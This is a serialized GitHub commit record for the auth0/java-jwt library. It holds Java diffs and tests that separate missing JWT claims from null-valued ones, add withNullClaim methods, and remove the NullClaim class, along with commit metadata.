         exception.expectMessage("The Claim 'missing' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("missing"));
 
         String jwt = JWTCreator.init()
                 .withClaim("custom", "")
@@ -1040,8 +1120,10 @@ public void shouldSuccessfullyVerifyClaimWithPredicate() {
 
     @Test
     public void shouldThrowWhenPredicateReturnsFalse() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
+        exception.expect(hasClaimName("claimName"));
+        exception.expect(hasClaimValue("claimValue", String.class));
 
         String jwt = JWTCreator.init()
                 .withClaim("claimName", "claimValue")
@@ -1080,8 +1162,10 @@ public void shouldSuccessfullyVerifyClaimWithNull() {
 
     @Test
     public void shouldThrowWhenNullClaimHasValue() {
-        exception.expect(InvalidClaimException.class);
+        exception.expect(IncorrectClaimException.class);
         exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
+        exception.expect(hasClaimName("claimName"));
+        exception.expect(hasClaimValue("value", String.class));
 
         String jwt = JWTCreator.init()
                 .withClaim("claimName", "value")
@@ -1095,8 +1179,9 @@ public void shouldThrowWhenNullClaimHasValue() {
 
     @Test
     public void shouldThrowWhenNullClaimIsMissing() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'anotherClaimName' value doesn't match the required one.");
+        exception.expect(MissingClaimException.class);
+        exception.expectMessage("The Claim 'anotherClaimName' is not present in the JWT.");
+        exception.expect(hasMissingClaimName("anotherClaimName"));
 
         String jwt = JWTCreator.init()
                 .withClaim("claimName", "value")u}(j  (18f59f041554e8e06b05eeaf63f26bd43dbce603j  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javaj  modifiedj  K+j  K j  K+j  https://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj   https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=67df3d476024cbe697b3a54893f5383945c7670dj  X  @@ -28,6 +28,7 @@
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.core.IsNull.notNullValue;
 import static org.hamcrest.core.IsNull.nullValue;
+import static org.junit.Assert.assertNull;
 import static org.mockito.Mockito.*;
 
 public class JsonNodeClaimTest {
@@ -313,6 +314,48 @@ public void shouldThrowIfCustomClassMismatch() {
         claim.as(String.class);
     }
 
+    @Test
+    public void shouldReturnNullForMissingAndNullClaims() {
+        JsonNode missingValue = MissingNode.getInstance();
+        Claim missingClaim = claimFromNode(missingValue);
+        assertThat(missingClaim.isMissing(), is(true));
+        assertThat(missingClaim.isNull(), is(false));
+        assertNull(missingClaim.as(String.class));
+        assertNull(missingClaim.asString());
+        assertNull(missingClaim.asBoolean());
+        assertNull(missingClaim.asDate());
+        assertNull(missingClaim.asDouble());
+        assertNull(missingClaim.asLong());
+        assertNull(missingClaim.asInt());
+        assertNull(missingClaim.asInstant());
+        assertNull(missingClaim.asMap());
+        assertNull(missingClaim.asList(String.class));
+        assertNull(missingClaim.asArray(String.class));
+
+        JsonNode nullValue = mapper.valueToTree(null);
+        Claim nullClaim = claimFromNode(nullValue);
+        assertThat(nullClaim.isMissing(), is(false));
+        assertThat(nullClaim.isNull(), is(true));
+        assertNull(nullClaim.as(String.class));
+        assertNull(nullClaim.asString());
+        assertNull(nullClaim.asBoolean());
+        assertNull(nullClaim.asDate());
+        assertNull(nullClaim.asDouble());
+        assertNull(nullClaim.asLong());
+        assertNull(nullClaim.asInt());
+        assertNull(nullClaim.asInstant());
+        assertNull(nullClaim.asMap());
+        assertNull(nullClaim.asList(String.class));
+        assertNull(nullClaim.asArray(String.class));
+    }
+
+    @Test
+    public void shouldReturnNullForInvalidArrayValue() {
+        JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
+        Claim claim = claimFromNode(value);
+        assertNull(claim.asArray(String.class));
+    }
+
     @SuppressWarnings({"unchecked", "RedundantCast"})
     @Test
     public void shouldGetAsMapValue() {u}(j  (acff9b0f7c0372b61dbf8496533c9eab0416b603j  <lib/src/test/java/com/auth0/jwt/matchers/CustomMatchers.javaj  addedj  Krj  K j  Krj  https://github.com/auth0/java-jwt/blob/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.javaj  https://github.com/auth0/java-jwt/raw/67df3d476024cbe697b3a54893f5383945c7670d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.javaj   https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fmatchers%2FCustomMatchers.java?ref=67df3d476024cbe697b3a54893f5383945c7670dj  X  @@ -0,0 +1,114 @@
+package com.auth0.jwt.matchers;
+
+import com.auth0.jwt.exceptions.IncorrectClaimException;
+import com.auth0.jwt.exceptions.MissingClaimException;
+import com.auth0.jwt.exceptions.TokenExpiredException;
+import com.auth0.jwt.interfaces.Claim;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hamcrest.TypeSafeMatcher;
+
+import java.time.Instant;
+import java.util.Arrays;
+
+public class CustomMatchers {
+    public static Matcher<MissingClaimException> hasMissingClaimName(final String claimName) {
+        return new TypeSafeMatcher<MissingClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("MissingClaimException with claim name: "+claimName);
+            }
+
+            @Override
+            protected boolean matchesSafely(MissingClaimException item) {
+                return item.getClaimName().equals(claimName);
+            }
+        };
+    }
+
+    public static Matcher<TokenExpiredException> hasTokenExpiredOn(final Instant instant) {
+        return new TypeSafeMatcher<TokenExpiredException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("TokenExpiredException with expired time as: "+instant.getEpochSecond());
+            }
+
+            @Override
+            protected boolean matchesSafely(TokenExpiredException item) {
+                return item.getExpiredOn().equals(instant);
+            }
+        };
+    }
+
+    public static Matcher<IncorrectClaimException> hasClaimName(final String claimName) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim name: "+claimName);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return item.getClaimName().equals(claimName);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasClaimValue(final Object value, final Class<T> clazz) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim : "+value);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return item.getClaimValue().as(clazz).equals(value);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasClaimInstant(final Instant value, final Class<T> clazz) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim : "+value);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return item.getClaimValue().as(clazz).equals(value);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasClaimValueArray(final Object value, final Class<T> clazz) {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim : "+value);
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                return Arrays.equals((Object[]) item.getClaimValue().as(clazz), (Object[])value);
+            }
+        };
+    }
+
+    public static <T> Matcher<IncorrectClaimException> hasNullClaim() {
+        return new TypeSafeMatcher<IncorrectClaimException>() {
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("IncorrectClaimException with claim as null");
+            }
+
+            @Override
+            protected boolean matchesSafely(IncorrectClaimException item) {
+                boolean a = item.getClaimValue().isNull();
+                String b = item.getClaimValue().toString();
+                return item.getClaimValue().isNull();
+            }
+        };
+    }
+}ueu(e37301aad52681174bcd2dc39844ab56408e7b8a}(sha(e37301aad52681174bcd2dc39844ab56408e7b8anode_idEC_kwDOAQtL0doAKGUzNzMwMWFhZDUyNjgxMTc0YmNkMmRjMzk4NDRhYjU2NDA4ZTdiOGEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-25T11:08:56Zu	committer}(jN  GitHubjP  noreply@github.comjR  2022-03-25T11:08:56ZumessageX{  [SDK-3158] Null claim handling (#564)

* Handle claim difference between missing and null

* Verification with null claims

* JWT creation support for null values

* Test cases for JWT verification and construction

* Add JWT decode test cases

* Fix broken tests

* Fixed Lint issues

* Fixed formatting errors

* Add test case to check Claim toString conversiontree}(jF  (73363648c3086a9fb7b355db9f0eb9ae4ec6a9b9url^https://api.github.com/repos/auth0/java-jwt/git/trees/73363648c3086a9fb7b355db9f0eb9ae4ec6a9b9uj^  `https://api.github.com/repos/auth0/java-jwt/git/commits/e37301aad52681174bcd2dc39844ab56408e7b8a      
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiPaLICRBK7hj4Ov3rIwAAxDgIAIiAOUTlL8uUM7vdk0zPfdLM
I8M/2gZVV9SQEnJ/GfNuDLY7GlK0C9XKq+gRW/0pFnETWNKmEH0Rqm+Pyg10trES
0WxyBPyDmu03NGA5R9Po9R2+apSOUH3GDigzlEDFrlMms9D1HoEC84HHIkXtJ05U
QbE/ia/wgNLCCBVhdnKcEBFSMSc7I78RIy/zGIFsx2uQO4V45yyuvZ63PQCuo1f7
ZTcZiLwvcKtzcd+ryda6LlmzVmRD6f1TVR2MzDHKFJBN2K53thCU4uLYoRyf5+vg
7OeqTjIpuhLH8Bufr31RFQc4OPnOxSllJWYEnGWzCI1tt3G1jnEQUScsBnXXVmo=
=W8FM
-----END PGP SIGNATURE-----
payloadXM  tree 73363648c3086a9fb7b355db9f0eb9ae4ec6a9b9
parent 0029a6363f89c1af43db64a76a002e8169c2656c
author Poovamraj T T <poovamraj@gmail.com> 1648206536 +0530
committer GitHub <noreply@github.com> 1648206536 +0100

[SDK-3158] Null claim handling (#564)

* Handle claim difference between missing and null

* Verification with null claims

* JWT creation support for null values

* Test cases for JWT verification and construction

* Add JWT decode test cases

* Fix broken tests

* Fixed Lint issues

* Fixed formatting errors

* Add test case to check Claim toString conversionuuj^  \https://api.github.com/repos/auth0/java-jwt/commits/e37301aad52681174bcd2dc39844ab56408e7b8ahtml_urlQhttps://github.com/auth0/java-jwt/commit/e37301aad52681174bcd2dc39844ab56408e7b8acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e37301aad52681174bcd2dc39844ab56408e7b8a/commentsjL  }(login	poovamrajidJ jH  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j^  &https://api.github.com/users/poovamrajjl  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujT  }(jq  web-flowjs  J/jH  MDQ6VXNlcjE5ODY0NDQ3ju  4https://avatars.githubusercontent.com/u/19864447?v=4jw  h3j^  %https://api.github.com/users/web-flowjl  https://github.com/web-flowjz  /https://api.github.com/users/web-flow/followersj|  <https://api.github.com/users/web-flow/following{/other_user}j~  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(jF  (0029a6363f89c1af43db64a76a002e8169c2656cj^  \https://api.github.com/repos/auth0/java-jwt/commits/0029a6363f89c1af43db64a76a002e8169c2656cjl  Qhttps://github.com/auth0/java-jwt/commit/0029a6363f89c1af43db64a76a002e8169c2656cuastats}(totalM*	additionsM	deletionsMufiles](}(jF  (e1159ae4e601736dcd88f6493258b0ab79b424c9filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj  Kj  KchangesK-blob_urlhttps://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8apatchX  @@ -75,7 +75,6 @@ public static class Builder {
         /**
          * Add specific Claims to set as the Header.
          * If provided map is null then nothing is changed
-         * If provided map contains a claim with null value then that claim will be removed from the header
          *
          * @param headerClaims the values to use as Claims in the token's Header.
          * @return this same Builder instance.
@@ -362,7 +361,6 @@ public Builder withClaim(String name, Map<String, ?> map) throws IllegalArgument
          * @return this same Builder instance.
          * @throws IllegalArgumentException if the name is null, or if the list contents does not validate.
          */
-
         public Builder withClaim(String name, List<?> list) throws IllegalArgumentException {
             assertNonNull(name);
             // validate list contents
@@ -374,6 +372,19 @@ public Builder withClaim(String name, List<?> list) throws IllegalArgumentExcept
             return this;
         }
 
+        /**
+         * Add a custom claim with null value.
+         *
+         * @param name the Claim's name.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null
+         */
+        public Builder withNullClaim(String name) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, null);
+            return this;
+        }
+
         /**
          * Add a custom Array Claim with the given items.
          *
@@ -422,8 +433,8 @@ public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentE
          * <p>
          * Accepted types are {@linkplain Map} and {@linkplain List} with basic types
          * {@linkplain Boolean}, {@linkplain Integer}, {@linkplain Long}, {@linkplain Double},
-         * {@linkplain String} and {@linkplain Date}. {@linkplain Map}s cannot contain null keys or values.
-         * {@linkplain List}s can contain null elements.
+         * {@linkplain String} and {@linkplain Date}.
+         * {@linkplain Map}s and {@linkplain List}s can contain null elements.
          * </p>
          *
          * <p>
@@ -442,7 +453,7 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
 
             if (!validatePayload(payloadClaims)) {
                 throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, "
-                        + "Long, Double, String and Date");
+                        + "Long, Double, String, Date and Null");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builder
@@ -463,7 +474,7 @@ private boolean validatePayload(Map<String, ?> payload) {
                     return false;
                 } else if (value instanceof Map && !validateClaim((Map<?, ?>) value)) {
                     return false;
-                } else if (value != null && !isSupportedType(value)) {
+                } else if (!isSupportedType(value)) {
                     return false;
                 }
             }
@@ -474,7 +485,7 @@ private static boolean validateClaim(Map<?, ?> map) {
             // do not accept null values in maps
             for (Entry<?, ?> entry : map.entrySet()) {
                 Object value = entry.getValue();
-                if (value == null || !isSupportedType(value)) {
+                if (!isSupportedType(value)) {
                     return false;
                 }
 
@@ -488,7 +499,7 @@ private static boolean validateClaim(Map<?, ?> map) {
         private static boolean validateClaim(List<?> list) {
             // accept null values in list
             for (Object object : list) {
-                if (object != null && !isSupportedType(object)) {
+                if (!isSupportedType(object)) {
                     return false;
                 }
             }
@@ -506,13 +517,17 @@ private static boolean isSupportedType(Object value) {
         }
 
         private static boolean isBasicType(Object value) {
-            Class<?> c = value.getClass();
+            if (value == null) {
+                return true;
+            } else {
+                Class<?> c = value.getClass();
 
-            if (c.isArray()) {
-                return c == Integer[].class || c == Long[].class || c == String[].class;
+                if (c.isArray()) {
+                    return c == Integer[].class || c == Long[].class || c == String[].class;
+                }
+                return c == String.class || c == Integer.class || c == Long.class || c == Double.class
+                        || c == Date.class || c == Instant.class || c == Boolean.class;
             }
-            return c == String.class || c == Integer.class || c == Long.class || c == Double.class
-                    || c == Date.class || c == Instant.class || c == Boolean.class;
         }
 
         /**
@@ -546,10 +561,6 @@ private void assertNonNull(String name) {
         }
 
         private void addClaim(String name, Object value) {
-            if (value == null) {
-                payloadClaims.remove(name);
-                return;
-            }
             payloadClaims.put(name, value);
         }
     }u}(jF  (947c9e25d42392832e3915f71d497e28fd33744ej  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj  modifiedj  K
j  Kj  K
j  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X8  @@ -3,7 +3,6 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.*;
 import com.auth0.jwt.impl.JWTParser;
-import com.auth0.jwt.impl.NullClaim;
 import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
@@ -146,14 +145,21 @@ public Verification withJWTId(String jwtId) {
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
             withClaim(name, ((claim, decodedJWT) -> {
-                if (claim instanceof NullClaim) {
+                if (claim.isMissing()) {
                     throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", name));
                 }
                 return true;
             }));
             return this;
         }
 
+        @Override
+        public Verification withNullClaim(String name) throws IllegalArgumentException {
+            assertNonNull(name);
+            withClaim(name, ((claim, decodedJWT) -> claim.isNull()));
+            return this;
+        }
+
         @Override
         public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
             assertNonNull(name);
@@ -292,7 +298,8 @@ private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimVa
                     }
                 }
             } else {
-                claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
+                claimArr = claim.isNull() || claim.isMissing()
+                        ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
             }
             List<Object> valueArr = Arrays.asList(expectedClaimValue);
             return claimArr.containsAll(valueArr);u}(jF  (5bb3dbbc5816d84371c3f35c971bc3391c1d3324j  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj  modifiedj  Kj  Kj  K'j  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X  @@ -31,32 +31,32 @@ private JsonNodeClaim(JsonNode node, ObjectReader objectReader) {
 
     @Override
     public Boolean asBoolean() {
-        return !data.isBoolean() ? null : data.asBoolean();
+        return isMissing() || isNull() || !data.isBoolean() ? null : data.asBoolean();
     }
 
     @Override
     public Integer asInt() {
-        return !data.isNumber() ? null : data.asInt();
+        return isMissing() || isNull() || !data.isNumber() ? null : data.asInt();
     }
 
     @Override
     public Long asLong() {
-        return !data.isNumber() ? null : data.asLong();
+        return isMissing() || isNull() || !data.isNumber() ? null : data.asLong();
     }
 
     @Override
     public Double asDouble() {
-        return !data.isNumber() ? null : data.asDouble();
+        return isMissing() || isNull() || !data.isNumber() ? null : data.asDouble();
     }
 
     @Override
     public String asString() {
-        return !data.isTextual() ? null : data.asText();
+        return isMissing() || isNull() || !data.isTextual() ? null : data.asText();
     }
 
     @Override
     public Date asDate() {
-        if (!data.canConvertToLong()) {
+        if (isMissing() || isNull() || !data.canConvertToLong()) {
             return null;
         }
         long seconds = data.asLong();
@@ -65,7 +65,7 @@ public Date asDate() {
 
     @Override
     public Instant asInstant() {
-        if (!data.canConvertToLong()) {
+        if (isMissing() || isNull() || !data.canConvertToLong()) {
             return null;
         }
         long seconds = data.asLong();
@@ -75,7 +75,7 @@ public Instant asInstant() {
     @Override
     @SuppressWarnings("unchecked")
     public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
-        if (!data.isArray()) {
+        if (isMissing() || isNull() || !data.isArray()) {
             return null;
         }
 
@@ -92,7 +92,7 @@ public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
 
     @Override
     public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
-        if (!data.isArray()) {
+        if (isMissing() || isNull() || !data.isArray()) {
             return null;
         }
 
@@ -109,7 +109,7 @@ public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
 
     @Override
     public Map<String, Object> asMap() throws JWTDecodeException {
-        if (!data.isObject()) {
+        if (isMissing() || isNull() || !data.isObject()) {
             return null;
         }
 
@@ -126,6 +126,9 @@ public Map<String, Object> asMap() throws JWTDecodeException {
     @Override
     public <T> T as(Class<T> clazz) throws JWTDecodeException {
         try {
+            if (isMissing() || isNull()) {
+                return null;
+            }
             return objectReader.treeAsTokens(data).readValueAs(clazz);
         } catch (IOException e) {
             throw new JWTDecodeException("Couldn't map the Claim value to " + clazz.getSimpleName(), e);
@@ -134,11 +137,21 @@ public <T> T as(Class<T> clazz) throws JWTDecodeException {
 
     @Override
     public boolean isNull() {
-        return false;
+        return !isMissing() && data.isNull();
+    }
+
+    @Override
+    public boolean isMissing() {
+        return data == null || data.isMissingNode();
     }
 
     @Override
     public String toString() {
+        if (isMissing()) {
+            return "Missing claim";
+        } else if (isNull()) {
+            return "Null claim";
+        }
         return data.toString();
     }
 
@@ -161,10 +174,8 @@ static Claim extractClaim(String claimName, Map<String, JsonNode> tree, ObjectRe
      * @return a valid Claim instance. If the node is null or missing, a NullClaim will be returned.
      */
     static Claim claimFromNode(JsonNode node, ObjectReader objectReader) {
-        if (node == null || node.isNull() || node.isMissingNode()) {
-            return new NullClaim();
-        }
         return new JsonNodeClaim(node, objectReader);
     }
 
 }
+//todo test all as* methods in JsonNodeClaim to ensure isMissing isNull calls are made
\ No newline at end of fileu}(jF  (2975b51b9fb875b4db65a512ee1811cca06ae834j  3lib/src/main/java/com/auth0/jwt/impl/NullClaim.javaj  removedj  K j  KOj  KOj  https://github.com/auth0/java-jwt/blob/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://github.com/auth0/java-jwt/raw/0029a6363f89c1af43db64a76a002e8169c2656c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.java?ref=0029a6363f89c1af43db64a76a002e8169c2656cj  X'  @@ -1,79 +0,0 @@
-package com.auth0.jwt.impl;
-
-import com.auth0.jwt.exceptions.JWTDecodeException;
-import com.auth0.jwt.interfaces.Claim;
-
-import java.time.Instant;
-import java.util.Date;
-import java.util.List;
-import java.util.Map;
-
-/**
- * The {@code NullClaim} class is a Claim implementation that returns null when any of it's methods is called.
- */
-public class NullClaim implements Claim {
-    @Override
-    public boolean isNull() {
-        return true;
-    }
-
-    @Override
-    public Boolean asBoolean() {
-        return null;
-    }
-
-    @Override
-    public Integer asInt() {
-        return null;
-    }
-
-    @Override
-    public Long asLong() {
-        return null;
-    }
-
-    @Override
-    public Double asDouble() {
-        return null;
-    }
-
-    @Override
-    public String asString() {
-        return null;
-    }
-
-    @Override
-    public Date asDate() {
-        return null;
-    }
-
-    @Override
-    public Instant asInstant() {
-        return null;
-    }
-
-    @Override
-    public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
-        return null;
-    }
-
-    @Override
-    public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
-        return null;
-    }
-
-    @Override
-    public Map<String, Object> asMap() throws JWTDecodeException {
-        return null;
-    }
-
-    @Override
-    public <T> T as(Class<T> clazz) throws JWTDecodeException {
-        return null;
-    }
-
-    @Override
-    public String toString() {
-        return "Null Claim";
-    }
-}u}(jF  (f6ccfdcdbfb9eaf2d785a4ed3e3fa1c4003a141cj  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javaj  modifiedj  K
j  K j  K
j  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X  @@ -14,11 +14,20 @@ public interface Claim {
 
     /**
      * Whether this Claim has a null value or not.
+     * If the claim is not present, it will return false hence checking {@link Claim#isMissing} is advised as well
      *
      * @return whether this Claim has a null value or not.
      */
     boolean isNull();
 
+    /**
+     * Can be used to verify whether the Claim is found or not.
+     * This will be true even if the Claim has null value associated to it.
+     *
+     * @return whether this Claim is present or not
+     */
+    boolean isMissing();
+
     /**
      * Get this Claim as a Boolean.
      * If the value isn't of type Boolean or it can't be converted to a Boolean, null will be returned.
@@ -110,6 +119,7 @@ default Instant asInstant() {
 
     /**
      * Get this Claim as a custom type T.
+     * This method will return null if {@link Claim#isMissing()} or {@link Claim#isNull()} is true
      *
      * @param <T> type
      * @param clazz the type classu}(jF  (8b0416dc95fe960f626abd24402cfbaccb6321c3j  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj  modifiedj  K	j  K j  K	j  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X  @@ -132,6 +132,15 @@ default Verification withAnyOfAudience(String... audience) {
      */
     Verification withClaimPresence(String name) throws IllegalArgumentException;
 
+    /**
+     * Require a specific Claim value to be null.
+     *
+     * @param name the Claim's name.
+     * @return this same Verification instance.
+     * @throws IllegalArgumentException if the name is null.
+     */
+    Verification withNullClaim(String name) throws IllegalArgumentException;
+
     /**
      * Require a specific Claim value.
      *u}(jF  (3cccbf7b416a16e5b1de9e7824e37018f011de98j  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  KKj  KMj  Kj  https://github.com/auth0/java-jwt/blob/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/e37301aad52681174bcd2dc39844ab56408e7b8a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=e37301aad52681174bcd2dc39844ab56408e7b8aj  X!  @@ -326,17 +326,6 @@ public void shouldAddJWTId() {
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJqdGkiOiJqd3RfaWRfMTIzIn0"));
     }
 
-    @Test
-    public void shouldRemoveClaimWhenPassingNull() {
-        String signed = JWTCreator.init()
-                .withIssuer("iss")
-                .withIssuer(null)
-                .sign(Algorithm.HMAC256("secret"));
-
-        assertThat(signed, is(notNullValue()));
